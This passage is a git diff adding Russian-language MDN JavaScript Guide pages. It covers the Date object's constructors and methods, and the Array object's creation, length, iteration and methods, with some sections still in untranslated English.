+<p>Период значений, которые может принимать Data, простирается от -100 000 000 до100 000 000 дней, относительно 1 Января 1970 года.</p>
+
+<p>Чтобы создать свой экземпляр объекта <code>Date используйте такой код</code>:</p>
+
+<pre class="brush: js">var dateObjectName = new Date([parameters]);
+</pre>
+
+<p>где <code>dateObjectName</code> это имя переменной, которой будет присвоено созданное значение с типом <code>Date</code>; вместо этой переменной, присвоить созданное значение можно как свойство, любому существующему объекту.</p>
+
+<p>Вызов <code>Date</code> как функции, без ключевого слова <code>new,</code> возвращает текущую дату и время в виде текстовой строки.</p>
+
+<p>Содержимым блока <code>parameters</code> в коде представленном выше, могут выступать любая из следующих конструкций:</p>
+
+<ul>
+ <li>Пусто: создает текущую дату и время. Пример: <code>today = new Date();</code>.</li>
+ <li>Текстовая строка, содержащая дату и время в следующем формате: "Месяц день, год часы:минуты:секунды". Например: <code>var Xmas95 = new Date("December 25, 1995 13:30:00")</code>. Если не указать секунды, минуты или часы, то их значение будет принято за 0.</li>
+ <li>Набор целочисленных значений для года, месяца и дня. Например: <code>var Xmas95 = new Date(1995, 11, 25)</code>.</li>
+ <li>Набор целочисленных значений для года, месяца, дня, часов, минут и секунд. Например: <code>var Xmas95 = new Date(1995, 11, 25, 9, 30, 0);</code>.</li>
+</ul>
+
+<h3 id="Получение_даты_в_русскоязычном_формате">Получение даты в русскоязычном формате</h3>
+
+<pre>new Date().toLocaleString('ru',
+  {
+    day: 'numeric',
+    month: 'long',
+    year: 'numeric'
+  });
+// текущая дата в формате: '10 января 2019 г.'
+</pre>
+
+<p><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Date/toLocaleString">Подробнее про метод toLocalString</a></p>
+
+<h3 id="Методы_объекта_Date">Методы объекта <code>Date</code></h3>
+
+<p>Методы объекта <code>Date</code> для работы с датой и временем делятся на следующие категории:</p>
+
+<ul>
+ <li>"set" методы, служат для установки параметров объекта <code>Date</code>.</li>
+ <li>"get" методы, служат для получения параметров объекта <code>Date</code>.</li>
+ <li>"to" методы, служат для получения значения объекта <code>Date</code> в текстовом виде.</li>
+ <li>"parse" и UTC методы, служат для распознавания дат и времени <font face="Consolas, Liberation Mono, Courier, monospace">из тектового формата</font>.</li>
+</ul>
+
+<p>При помощи методов групп "get" и"set", вы можете получить и установить значения секунд, минут, часов, дня месяца, дня недели, месяца и года по отдельности. Отдельно выделим метод <code>getDay</code>, который возвращает день недели, однако соответствующего ему метода <code>setDay</code> не существует, потому-что день недели высчитывается автоматически. Все эти методы используют в своей работе целочисленные значения по следующим правилам:</p>
+
+<ul>
+ <li>Секунды и минуты: от 0 до 59</li>
+ <li>Часы: от 0 до 23</li>
+ <li>Дни недели: от 0 (Воскресенье) до 6 (Суббота)</li>
+ <li>Дни месяца: от 1 до 31</li>
+ <li>Месяцы: от 0 (Январь) до 11 (Декабрь)</li>
+ <li>Год: год относительно 1900 года.</li>
+</ul>
+
+<p>Например, предположим, что вы определили дату следующим образом:</p>
+
+<pre class="brush: js">var Xmas95 = new Date("December 25, 1995");
+</pre>
+
+<p>Тогда <code>Xmas95.getMonth()</code> вернет 11, а <code>Xmas95.getFullYear()</code> вернет 1995.</p>
+
+<p>Методы <code>getTime</code> и <code>setTime могут быть</code> полезны при сравнении дат. Метод <code>getTime</code> возвращает количество миллисекунд, прошедших с 00:00:00 1 Января, 1970 года.</p>
+
+<p>Для примера рассмотрим следующий код, показывающий количество дней оставшихся до конца текущего года:</p>
+
+<pre class="brush: js">var today = new Date(); // Получаем текущую дату
+var endYear = new Date(1995, 11, 31, 23, 59, 59, 999); // Устанавливаем месяц и день на конец года
+endYear.setFullYear(today.getFullYear()); // Устанавливаем текущий год
+var msPerDay = 24 * 60 * 60 * 1000; // Количество миллисекунд в одних сутках
+var daysLeft = (endYear.getTime() - today.getTime()) / msPerDay;
+var daysLeft = Math.round(daysLeft); // возвращает количество дней, оставшихся до конца года
+</pre>
+
+<p>Этот пример создает объект <code>Date</code> названный <code>today, который содержит текущую дату и время</code>. Затем, создается воспомогательный <code>Date</code> объект, названный <code>endYear,</code> которому устанавливаются значения, указывающие на конец года. После этого, при помощи расчитанного количества миллисекунд в сутках, вычисляется количество дней между  <code>today</code> и <code>endYear</code>, При этом используются метод <code>getTime</code> и округление, для получения количества полных дней.</p>
+
+<p>Метод <code>parse</code> полезен для присвоения значений существующим объектам <code>Date</code> из текстового формата. Например, следующий код использует мотоды <code>parse</code> и <code>setTime</code> чтобы установить значение переменной <code>IPOdate</code>:</p>
+
+<pre class="brush: js">var IPOdate = new Date();
+IPOdate.setTime(Date.parse("Aug 9, 1995"));
+</pre>
+
+<h3 id="Пример">Пример</h3>
+
+<p>В следующем примере приведена функция <code>JSClock(), которая возвращает время в формате электронных часов:</code></p>
+
+<pre class="brush: js">function JSClock() {
+  var time = new Date();
+  var hour = time.getHours();
+  var minute = time.getMinutes();
+  var second = time.getSeconds();
+  var temp = "" + ((hour &gt; 12) ? hour - 12 : hour);
+  if (hour == 0)
+    temp = "12";
+  temp += ((minute &lt; 10) ? ":0" : ":") + minute;
+  temp += ((second &lt; 10) ? ":0" : ":") + second;
+  temp += (hour &gt;= 12) ? " P.M." : " A.M.";
+  return temp;
+}
+</pre>
+
+<p>Первым делом, функция JSClock создает новый объект <code>Date</code>, названный <code>time</code>; так как объект создается баз параметров, переменная <code>time </code>содержит текущую дату и время. Затем вызываются методы <code>getHours</code>, <code>getMinutes </code>и <code>getSeconds</code>, чтобы установить значения переменным <code>hour</code>, <code>minute </code>и <code>second</code>.</p>
+
+<p>Следующие четыре выражения строят текстовую строку на основе time. Первое из них создает переменную <code>temp</code>, присваивая ей значение при помощи условия; Если <code>hour</code> больше чем 12, то (<code>hour - 12</code>), иначе просто <code>hour.</code> В случае же, когда <code>hour</code> равно 0, берется фиксированное значение "12".</p>
+
+<p>Следующее выражение приращивает минуты к переменной <code>temp</code>. Если количество минут меньше 10, то условное выражение добавляет строку с двоеточием и заполняющим нулем, иначе, просто строку с двоеточием. Секунды приращиваются к переменной <code>temp</code> тем же путем.</p>
+
+<p>В завершение всего, последнее условное выражение добавляет строку "P.M." к переменной <code>temp</code> если <code>hour</code> равно или больше 12, иначе, добавляется строка "A.M.".</p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Expressions_and_Operators", "Web/JavaScript/Guide/Text_formatting")}}</p>
diff --git a/files/ru/web/javascript/guide/predefined_core_objects/index.html b/files/ru/web/javascript/guide/predefined_core_objects/index.html
new file mode 100644
index 0000000000..d7fd638b6d
--- /dev/null
+++ b/files/ru/web/javascript/guide/predefined_core_objects/index.html
@@ -0,0 +1,922 @@
+---
+title: Predefined Core Objects
+slug: Web/JavaScript/Guide/Predefined_Core_Objects
+translation_of: Web/JavaScript/Guide
+---
+<p>Эта глава описывает предопределённые объекты в стандартном JavaScript: <code>Array</code>, <code>Boolean</code>, <code>Date</code>, <code>Function</code>, <code>Math</code>, <code>Number</code>, <code>RegExp</code>, и <code>String</code>.</p>
+
+<h2 id="Объект_Array">Объект Array</h2>
+
+<p>В JavaScript массив как тип данных отсутствует. Тем не менее, вы можете использовать предопределённый объект <code>Array</code> и его методы, чтобы работать с массивами в ваших приложениях. Объект <code>Array</code> содержит различные методы для манипуляций с массивами, такими как объединение, обращение и сортировка. У него есть свойство для определения длины массива и другие свойства для работы с регулярными выражениями.</p>
+
+<p><em>Массив</em> - это упорядоченный набор значений, обращаться к которым можно с помощью имени и индекса. Например, можно создать массив <code>emp</code>, который содержит имена сотрудников фирмы, проиндексированные номерами. Тогда <code>emp[1]</code> будет соответствовать сотруднику номер один, <code>emp[2]</code> сотруднику номер два и так далее.</p>
+
+<h3 id="Создание_объекта_Array">Создание объекта Array</h3>
+
+<p>Следующие инструкции создают эквивалентные массивы:</p>
+
+<div style="margin-right: 270px;">
+<pre class="brush: js">var arr = new Array(element0, element1, ..., elementN);
+var arr = Array(element0, element1, ..., elementN);
+var arr = [element0, element1, ..., elementN];
+</pre>
+</div>
+
+<p><code>element0, element1, ..., elementN</code> это список значений во вновь создаваемом массиве. Когда эти значения заданы, массив инициализирует ими свои эелементы. Длина массива определяется по числу аргументов и сохраняется в свойстве <code>length </code>(длина).</p>
+
+<p>Синтаксис с квадратными скобками называется "литералом массива" (array literal) или "инициализатором массива" (array initializer). Такая запись короче других и используется чаще. Подробности смотрите в <a href="/en-US/docs/JavaScript/Guide/Values,_Variables,_and_Literals#Array_Literals" title="en-US/docs/JavaScript/Guide/Values, Variables, and Literals#Array Literals">Array Literals</a>.</p>
+
+<p>Создать массив ненулевой длины, но без элементов, можно одним из следующих способов:</p>
+
+<pre class="brush: js">var arr = new Array(arrayLength);
+var arr = Array(arrayLength);
+
+// This has exactly the same effect
+var arr = [];
+arr.length = arrayLength;
+</pre>
+
+<p>Обратите внимание: в приведённом выше коде <code>arrayLength</code> должен быть значением типа <code>Number</code>, то есть числом, иначе будет создан массив с одним элементом (переданным конструктору значением). Вызов <code>arr.length</code> возвратит <code>arrayLength</code>, хотя на самом деле элемент содержит пустые (неопределённые, undefined) элементы. Итерация по массиву циклом for...in не возвратит никаких элементов.</p>
+
+<p>Массивы можно не только определить как и переменные, но и присвоить существующему объекту как свойство:</p>
+
+<pre class="brush: js">var obj = {};
+// ...
+obj.prop = [element0, element1, ..., elementN];
+
+// OR
+var obj = {prop: [element0, element1, ...., elementN]}
+</pre>
+
+<p>Если же вы хотите создать одноэлементный массив, содержащий число, придётся использовать запись с квадратными скобками, так как когда конструктору Array() передаётся одно-единственное число, оно трактуется как длина массива, а не как хранимвый элемент.</p>
+
+<pre><code>var arr = [42];
+var arr = Array(42); // Creates an array with no element, but with arr.length set to 42
+
+// The above code is equivalent to
+var arr = [];
+arr.length = 42;
+</code>
+</pre>
+
+<p>Вызов <code>Array(N)</code> приводит к <code>RangeError</code>, если <code>N</code> не является целым числом, чья дробная часть не равна нулю. Следующий пример иллюстрирует это поведение.</p>
+
+<pre>var arr = Array(9.3);  // RangeError: Invalid array length
+</pre>
+
+<p>Если ваш код должен создавать массивы с отдельными элементами произвольного типа, безопаснее использовать литералы массива. Или, создайте пустой массив, прежде чем добавлять элементы к нему.</p>
+
+<h3 id="Заполнение_массива">Заполнение массива</h3>
+
+<p>You can populate an array by assigning values to its elements. For example,</p>
+
+<pre class="brush: js">var emp = [];
+emp[0] = "Casey Jones";
+emp[1] = "Phil Lesh";
+emp[2] = "August West";
+</pre>
+
+<p><strong>Note:</strong> if you supply a non-integer value to the array operator in the code above, a property will be created in the object representing the array, instead of an array element.</p>
+
+<pre> var arr = [];
+arr[3.4] = "Oranges";
+console.log(arr.length);                // 0
+console.log(arr.hasOwnProperty(3.4));   // true
+</pre>
+
+<p>You can also populate an array when you create it:</p>
+
+<pre class="brush: js">var myArray = new Array("Hello", myVar, 3.14159);
+var myArray = ["Mango", "Apple", "Orange"]
+</pre>
+
+<h3 id="Referring_to_Array_Elements">Referring to Array Elements</h3>
+
+<p>You refer to an array's elements by using the element's ordinal number. For example, suppose you define the following array:</p>
+
+<pre class="brush: js">var myArray = ["Wind", "Rain", "Fire"];
+</pre>
+
+<p>You then refer to the first element of the array as <code>myArray[0]</code> and the second element of the array as <code>myArray[1]</code>. The index of the elements begins with zero.</p>
+
+<p><strong>Note:</strong> the array operator (square brackets) is also used for accessing the array's properties (arrays are also objects in JavaScript). For example,</p>
+
+<pre> var arr = ["one", "two", "three"];
+arr[2];  // three
+arr["length"];  // 3
+</pre>
+
+<h3 id="Understanding_length">Understanding length</h3>
+
+<p>At the implementation level, JavaScript's arrays actually store their elements as standard object properties, using the array index as the property name. The <code>length</code> property is special; it always returns the index of the last element plus one (in following example Dusty is indexed at 30 so cats.length returns 30 + 1). Remember, Javascript Array indexes are 0-based: they start at 0, not 1. This means that the <code><code>length</code></code> property will be one more than the highest index stored in the array:</p>
+
+<pre class="brush: js">var cats = [];
+cats[30] = ['Dusty'];
+print(cats.length); // 31
+</pre>
+
+<p>You can also assign to the <code>length</code> property. Writing a value that is shorter than the number of stored items truncates the array; writing 0 empties it entirely:</p>
+
+<pre class="brush: js">var cats = ['Dusty', 'Misty', 'Twiggy'];
+console.log(cats.length); // 3
+
+cats.length = 2;
+console.log(cats); // prints "Dusty,Misty" - Twiggy has been removed
+
+cats.length = 0;
+console.log(cats); // prints nothing; the cats array is empty
+
+cats.length = 3;
+console.log(cats); // [undefined, undefined, undefined]
+</pre>
+
+<h3 id="Iterating_over_arrays">Iterating over arrays</h3>
+
+<p>A common operation is to iterate over the values of an array, processing each one in some way. The simplest way to do this is as follows:</p>
+
+<pre class="brush: js">var colors = ['red', 'green', 'blue'];
+for (var i = 0; i &lt; colors.length; i++) {
+  console.log(colors[i]);
+}
+</pre>
+
+<p>If you know that none of the elements in your array evaluate to <code>false</code> in a boolean context — if your array consists only of <a href="/en-US/docs/DOM" title="en-US/docs/DOM">DOM</a> nodes, for example, you can use a more efficient idiom:</p>
+
+<pre class="brush: js">var divs = document.getElementsByTagName('div');
+for (var i = 0, div; div = divs[i]; i++) {
+  /* Process div in some way */
+}
+</pre>
+
+<p>This avoids the overhead of checking the length of the array, and ensures that the <code>div</code> variable is reassigned to the current item each time around the loop for added convenience.</p>
+
+<p>The <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/forEach" title="en-US/docs/JavaScript/Reference/Global_Objects/Array/forEach"><code>forEach()</code></a> method, introduced in JavaScript 1.6, provides another way of iterating over an array:</p>
+
+<pre class="brush: js">var colors = ['red', 'green', 'blue'];
+colors.forEach(function(color) {
+  console.log(color);
+});
+</pre>
+
+<p>The function passed to <code>forEach</code> is executed once for every item in the array, with the array item passed as the argument to the function. Unassigned values are not iterated in a <code>forEach</code> loop.</p>
+
+<p>Note that the elements of array omitted when the array is defined are not listed when iterating by <code>forEach, </code>but are listed when <code>undefined</code> has been manually assigned to the element:</p>
+
+<pre class="brush: js">var array = ['first', 'second', , 'fourth'];
+
+// returns ['first', 'second', 'fourth'];
+array.forEach(function(element) {
+  console.log(element);
+})
+
+if(array[2] === undefined) { console.log('array[2] is undefined'); } // true
+
+var array = ['first', 'second', undefined, 'fourth'];
+
+// returns ['first', 'second', undefined, 'fourth'];
+array.forEach(function(element) {
+  console.log(element);
+})</pre>
+
+<p>Since JavaScript elements are saved as standard object properties, it is not advisable to iterate through JavaScript arrays using for...in loops because normal elements and all enumerable properties will be listed.</p>
+
+<h3 id="Array_Methods">Array Methods</h3>
+
+<p>The <code>Array</code> object has the following methods:</p>
+
+<ul>
+ <li><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/concat" title="en-US/docs/JavaScript/Reference/Global
+    Objects/Array/concat"><code>concat()</code></a> joins two arrays and returns a new array.
+
+  <pre class="brush: js">var myArray = new Array("1", "2", "3");
+myArray = myArray.concat("a", "b", "c"); // myArray is now ["1", "2", "3", "a", "b", "c"]
+</pre>
+ </li>
+ <li><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/join" title="en-US/docs/JavaScript/Reference/Global
+    Objects/Array/join"><code>join(deliminator = ",")</code></a> joins all elements of an array into a string.
+  <pre class="brush: js">var myArray = new Array("Wind", "Rain", "Fire");
+var list = myArray.join(" - "); // list is "Wind - Rain - Fire"
+</pre>
+ </li>
+ <li><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/push" title="en-US/docs/JavaScript/Reference/Global
+    Objects/Array/push"><code>push()</code></a> adds one or more elements to the end of an array and returns the resulting length of the array.
+  <pre class="brush: js">var myArray = new Array("1", "2");
+myArray.push("3"); // myArray is now ["1", "2", "3"]
+</pre>
+ </li>
+ <li><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/pop" title="en-US/docs/JavaScript/Reference/Global
+    Objects/Array/pop"><code>pop()</code></a> removes the last element from an array and returns that element.
+  <pre class="brush: js">var myArray = new Array("1", "2", "3");
+var last = myArray.pop(); // myArray is now ["1", "2"], last = "3"
+</pre>
+ </li>
+ <li><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/shift" title="en-US/docs/JavaScript/Reference/Global
+    Objects/Array/shift"><code>shift()</code></a> removes the first element from an array and returns that element.
+  <pre class="brush: js">var myArray = new Array ("1", "2", "3");
+var first = myArray.shift(); // myArray is now ["2", "3"], first is "1"
+</pre>
+ </li>
+ <li><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/unshift" title="en-US/docs/JavaScript/Reference/Global
+    Objects/Array/unshift"><code>unshift()</code></a> adds one or more elements to the front of an array and returns the new length of the array.
+  <pre class="brush: js">var myArray = new Array ("1", "2", "3");
+myArray.unshift("4", "5"); // myArray becomes ["4", "5", "1", "2", "3"]</pre>
+ </li>
+ <li><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/slice" title="en-US/docs/JavaScript/Reference/Global
+    Objects/Array/slice"><code>slice(start_index, upto_index)</code></a> extracts a section of an array and returns a new array.
+  <pre class="brush: js">var myArray = new Array ("a", "b", "c", "d", "e");
+myArray = myArray.slice(1, 4); /* starts at index 1 and extracts all elements
+  until index 3, returning [ "b", "c", "d"] */
+</pre>
+ </li>
+ <li><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/splice" title="en-US/docs/JavaScript/Reference/Global
+    Objects/Array/splice"><code>splice(index, count_to_remove, addelement1, addelement2, ...)</code></a> removes elements from an array and (optionally) replaces them.
+  <pre class="brush: js">var myArray = new Array ("1", "2", "3", "4", "5");
+myArray.splice(1, 3, "a", "b", "c", "d"); // myArray is now ["1", "a", "b", "c", "d", "5"]
+  // This code started at index one (or where the "2" was), removed 3 elements there,
+  // and then inserted all consecutive elements in its place.
+</pre>
+ </li>
+ <li><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/reverse" title="en-US/docs/JavaScript/Reference/Global
+    Objects/Array/reverse"><code>reverse()</code></a> transposes the elements of an array: the first array element becomes the last and the last becomes the first.
+  <pre class="brush: js">var myArray = new Array ("1", "2", "3");
+myArray.reverse(); // transposes the array so that myArray = [ "3", "2", "1" ]
+</pre>
+ </li>
+ <li><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/sort" title="en-US/docs/JavaScript/Reference/Global
+    Objects/Array/sort"><code>sort()</code></a> sorts the elements of an array.
+  <pre class="brush: js">var myArray = new Array("Wind", "Rain", "Fire");
+myArray.sort(); // sorts the array so that myArrray = [ "Fire", "Rain", "Wind" ]
+</pre>
+
+  <p><code>sort()</code> can also take a callback function to determine how array elements are compared. The function compares two values and returns one of three values:</p>
+
+  <ul>
+   <li>if <code>a</code> is less than <code>b</code> by the sorting system, return -1 (or any negative number)</li>
+   <li>if <code>a</code> is greater than <code>b</code> by the sorting system, return 1 (or any positive number)</li>
+   <li>if <code>a</code> and <code>b</code> are considered equivalent, return 0.</li>
+  </ul>
+
+  <p>For instance, the following will sort by the last letter of an array:</p>
+
+  <pre class="brush: js">var sortFn = function(a, b){
+  if (a[a.length - 1] &lt; b[b.length - 1]) return -1;
+  if (a[a.length - 1] &gt; b[b.length - 1]) return 1;
+  if (a[a.length - 1] == b[b.length - 1]) return 0;
+}
+myArray.sort(sortFn); // sorts the array so that myArray = ["Wind","Fire","Rain"]</pre>
+ </li>
+</ul>
+
+<p>Compatibility code for older browsers can be found for each of these functions on the individual pages. Native browser support for these features in various browsers can be found<a class="external" href="http://www.robertnyman.com/javascript/" title="http://www.robertnyman.com/javascript/"> here.</a></p>
+
+<ul>
+ <li><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/indexOf" title="en-US/docs/JavaScript/Reference/Global
+    Objects/Array/indexOf"><code>indexOf(searchElement[, fromIndex])</code></a> searches the array for <code>searchElement</code> and returns the index of the first match.
+
+  <pre class="brush: js">var a = ['a', 'b', 'a', 'b', 'a'];
+alert(a.indexOf('b')); // Alerts 1
+// Now try again, starting from after the last match
+alert(a.indexOf('b', 2)); // Alerts 3
+alert(a.indexOf('z')); // Alerts -1, because 'z' was not found
+</pre>
+ </li>
+ <li><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/lastIndexOf" title="en-US/docs/JavaScript/Reference/Global
+    Objects/Array/lastIndexOf"><code>lastIndexOf(searchElement[, fromIndex])</code></a> works like <code>indexOf</code>, but starts at the end and searches backwards.
+  <pre class="brush: js">var a = ['a', 'b', 'c', 'd', 'a', 'b'];
+alert(a.lastIndexOf('b')); // Alerts 5
+// Now try again, starting from before the last match
+alert(a.lastIndexOf('b', 4)); // Alerts 1
+alert(a.lastIndexOf('z')); // Alerts -1
+</pre>
+ </li>
+ <li><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/forEach" title="en-US/docs/JavaScript/Reference/Global
+    Objects/Array/forEach"><code>forEach(callback[, thisObject])</code></a> executes <code>callback</code> on every array item.
+  <pre class="brush: js">var a = ['a', 'b', 'c'];
+a.forEach(alert); // Alerts each item in turn
+</pre>
+ </li>
+ <li><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/map" title="en-US/docs/JavaScript/Reference/Global
+    Objects/Array/map"><code>map(callback[, thisObject])</code></a> returns a new array of the return value from executing <code>callback</code> on every array item.
+  <pre class="brush: js">var a1 = ['a', 'b', 'c'];
+var a2 = a1.map(function(item) { return item.toUpperCase(); });
+alert(a2); // Alerts A,B,C
+</pre>
+ </li>
+ <li><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/filter" title="en-US/docs/JavaScript/Reference/Global
+    Objects/Array/filter"><code>filter(callback[, thisObject])</code></a> returns a new array containing the items for which callback returned true.
+  <pre class="brush: js">var a1 = ['a', 10, 'b', 20, 'c', 30];
+var a2 = a1.filter(function(item) { return typeof item == 'number'; });
+alert(a2); // Alerts 10,20,30
+</pre>
+ </li>
+ <li><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/every" title="en-US/docs/JavaScript/Reference/Global
+    Objects/Array/every"><code>every(callback[, thisObject])</code></a> returns true if <code>callback</code> returns true for every item in the array.
+  <pre class="brush: js">function isNumber(value){
+  return typeof value == 'number';
+}
+var a1 = [1, 2, 3];
+alert(a1.every(isNumber)); // Alerts true
+var a2 = [1, '2', 3];
+alert(a2.every(isNumber)); // Alerts false
+</pre>
+ </li>
+ <li><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/some" title="en-US/docs/JavaScript/Reference/Global
+    Objects/Array/some"><code>some(callback[, thisObject])</code></a> returns true if <code>callback</code> returns true for at least one item in the array.
+  <pre class="brush: js">function isNumber(value){
+  return typeof value == 'number';
+}
+var a1 = [1, 2, 3];
+alert(a1.some(isNumber)); // Alerts true
+var a2 = [1, '2', 3];
+alert(a2.some(isNumber)); // Alerts true
+var a3 = ['1', '2', '3'];
+alert(a3.some(isNumber)); // Alerts false
+</pre>
+ </li>
+</ul>
+
+<p>The methods above that take a callback are known as <em>iterative methods</em>, because they iterate over the entire array in some fashion. Each one takes an optional second argument called <code>thisObject</code>. If provided, <code>thisObject</code> becomes the value of the <code>this</code> keyword inside the body of the callback function. If not provided, as with other cases where a function is invoked outside of an explicit object context, <code>this</code> will refer to the global object (<a href="/en-US/docs/DOM/window" title="en-US/docs/DOM/window"><code>window</code></a>).</p>
+
+<p>The callback function is actually called with three arguments. The first is the value of the current item, the second is its array index, and the third is a reference to the array itself. JavaScript functions ignore any arguments that are not named in the parameter list so it is safe to provide a callback function that only takes a single argument, such as <code>alert</code>.</p>
+
+<ul>
+ <li><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/Reduce" title="en-US/docs/JavaScript/Reference/Global
+    Objects/Array/reduce"><code>reduce(callback[, initialValue])</code></a> applies <code>callback(firstValue, secondValue)</code> to reduce the list of items down to a single value.
+
+  <pre class="brush: js">var a = [10, 20, 30];
+var total = a.reduce(function(first, second) { return first + second; }, 0);
+alert(total) // Alerts 60
+</pre>
+ </li>
+ <li><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/ReduceRight" title="en-US/docs/JavaScript/Reference/Global
+    Objects/Array/reduceRight"><code>reduceRight(callback[, initialValue])</code></a> works like <code>reduce()</code>, but starts with the last element.</li>
+</ul>
+
+<p><code>reduce</code> and <code>reduceRight</code> are the least obvious of the iterative array methods. They should be used for algorithms that combine two values recursively in order to reduce a sequence down to a single value.</p>
+
+<h3 id="Multi-Dimensional_Arrays">Multi-Dimensional Arrays</h3>
+
+<p>Arrays can be nested, meaning that an array can contain another array as an element. Using this characteristic of JavaScript arrays, multi-dimensional arrays can be created.</p>
+
+<p>The following code creates a two-dimensional array.</p>
+
+<pre class="brush: js">var a = new Array(4);
+for (i = 0; i &lt; 4; i++) {
+  a[i] = new Array(4);
+  for (j = 0; j &lt; 4; j++) {
+    a[i][j] = "[" + i + "," + j + "]";
+  }
+}
+</pre>
+
+<p>This example creates an array with the following rows:</p>
+
+<pre>Row 0: [0,0] [0,1] [0,2] [0,3]
+Row 1: [1,0] [1,1] [1,2] [1,3]
+Row 2: [2,0] [2,1] [2,2] [2,3]
+Row 3: [3,0] [3,1] [3,2] [3,3]
+</pre>
+
+<h3 id="Arrays_and_Regular_Expressions">Arrays and Regular Expressions</h3>
+
+<p>When an array is the result of a match between a regular expression and a string, the array returns properties and elements that provide information about the match. An array is the return value of <a href="/en-US/docs/JavaScript/Reference/Global_Objects/RegExp/exec" title="en-US/docs/JavaScript/Reference/Global Objects/RegExp/exec"><code>RegExp.exec()</code></a>, <a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/match" title="en-US/docs/JavaScript/Reference/Global Objects/String/match"><code>String.match()</code></a>, and <a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/split" title="en-US/docs/JavaScript/Reference/Global
+Objects/String/split"><code>String.split()</code></a>. For information on using arrays with regular expressions, see <a href="/en-US/docs/JavaScript/Guide/Regular_Expressions" title="en-US/docs/JavaScript/Guide/Regular Expressions">Regular Expressions</a>.</p>
+
+<h3 id="Working_with_Array-like_objects">Working with Array-like objects</h3>
+
+<p>Some JavaScript objects, such as the <a href="/en-US/docs/DOM/NodeList" title="en-US/docs/DOM/NodeList"><code>NodeList</code></a> returned by <a href="/en-US/docs/DOM/document.getElementsByTagName" title="en-US/docs/DOM/document.getElementsByTagName"><code>document.getElementsByTagName()</code></a> or the <a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments" title="en-US/docs/JavaScript/Reference/Functions and
+function
+scope/arguments"><code>arguments</code></a> object made available within the body of a function, look and behave like arrays on the surface but do not share all of their methods. The <code>arguments</code> object provides a <a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments/length" title="en-US/docs/JavaScript/Reference/Functions
+and function
+scope/arguments/length"><code>length</code></a> attribute but does not implement the <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/forEach" title="en-US/docs/JavaScript/Reference/Global Objects/Array/forEach"><code>forEach()</code></a> method, for example.</p>
+
+<p>Array generics, introduced in JavaScript 1.6, provide a way of running <code>Array</code> methods against other array-like objects. Each standard array method has a corresponding method on the <code>Array</code> object itself; for example:</p>
+
+<pre class="brush: js"> function alertArguments() {
+   Array.forEach(arguments, function(item) {
+     alert(item);
+   });
+ }
+</pre>
+
+<p>These generic methods can be emulated more verbosely in older versions of JavaScript using the call method provided by JavaScript function objects:</p>
+
+<pre class="brush: js"> Array.prototype.forEach.call(arguments, function(item) {
+   alert(item);
+ });
+</pre>
+
+<p>Array generic methods can be used on strings as well, since they provide sequential access to their characters in a similar way to arrays:</p>
+
+<pre class="brush: js">Array.forEach("a string", function(chr) {
+   alert(chr);
+});</pre>
+
+<p>Here are some further examples of applying array methods to strings, also taking advantage of <a href="/en-US/docs/JavaScript/New_in_JavaScript/1.8#Expression_closures" title="en-US/docs/New_in_JavaScript_1.8#Expression_closures">JavaScript 1.8 expression closures</a>:</p>
+
+<pre class="brush: js">var str = 'abcdef';
+var consonantsOnlyStr = Array.filter(str, function (c) !(/[aeiou]/i).test(c)).join(''); // 'bcdf'
+var vowelsPresent = Array.some(str, function (c) (/[aeiou]/i).test(c)); // true
+var allVowels = Array.every(str, function (c) (/[aeiou]/i).test(c)); // false
+var interpolatedZeros = Array.map(str, function (c) c+'0').join(''); // 'a0b0c0d0e0f0'
+var numerologicalValue = Array.reduce(str, function (c, c2) c+c2.toLowerCase().charCodeAt()-96, 0);
+// 21 (reduce() since JS v1.8)
+</pre>
+
+<p>Note that <code>filter</code> and <code>map</code> do not automatically return the characters back into being members of a string in the return result; an array is returned, so we must use <code>join</code> to return back to a string.</p>
+
+<h3 id="Array_comprehensions">Array comprehensions</h3>
+
+<p>Introduced in JavaScript 1.7, array comprehensions provide a useful shortcut for constructing a new array based on the contents of another. Comprehensions can often be used in place of calls to <code>map()</code> and <code>filter()</code>, or as a way of combining the two.</p>
+
+<p>The following comprehension takes an array of numbers and creates a new array of the double of each of those numbers.</p>
+
+<pre class="brush: js">var numbers = [1, 2, 3, 4];
+var doubled = [i * 2 for (i of numbers)];
+alert(doubled); // Alerts 2,4,6,8
+</pre>
+
+<p>This is equivalent to the following <code>map()</code> operation:</p>
+
+<pre class="brush: js">var doubled = numbers.map(function(i){return i * 2;});
+</pre>
+
+<p>Comprehensions can also be used to select items that match a particular expression. Here is a comprehension which selects only even numbers:</p>
+
+<pre class="brush: js">var numbers = [1, 2, 3, 21, 22, 30];
+var evens = [i for (i of numbers) if (i % 2 === 0)];
+alert(evens); // Alerts 2,22,30
+</pre>
+
+<p><code>filter()</code> can be used for the same purpose:</p>
+
+<pre class="brush: js">var evens = numbers.filter(function(i){return i % 2 === 0;});
+</pre>
+
+<p><code>map()</code> and <code>filter()</code> style operations can be combined into a single array comprehension. Here is one that filters just the even numbers, then creates an array containing their doubles:</p>
+
+<pre class="brush: js">var numbers = [1, 2, 3, 21, 22, 30];
+var doubledEvens = [i * 2 for (i of numbers) if (i % 2 === 0)];
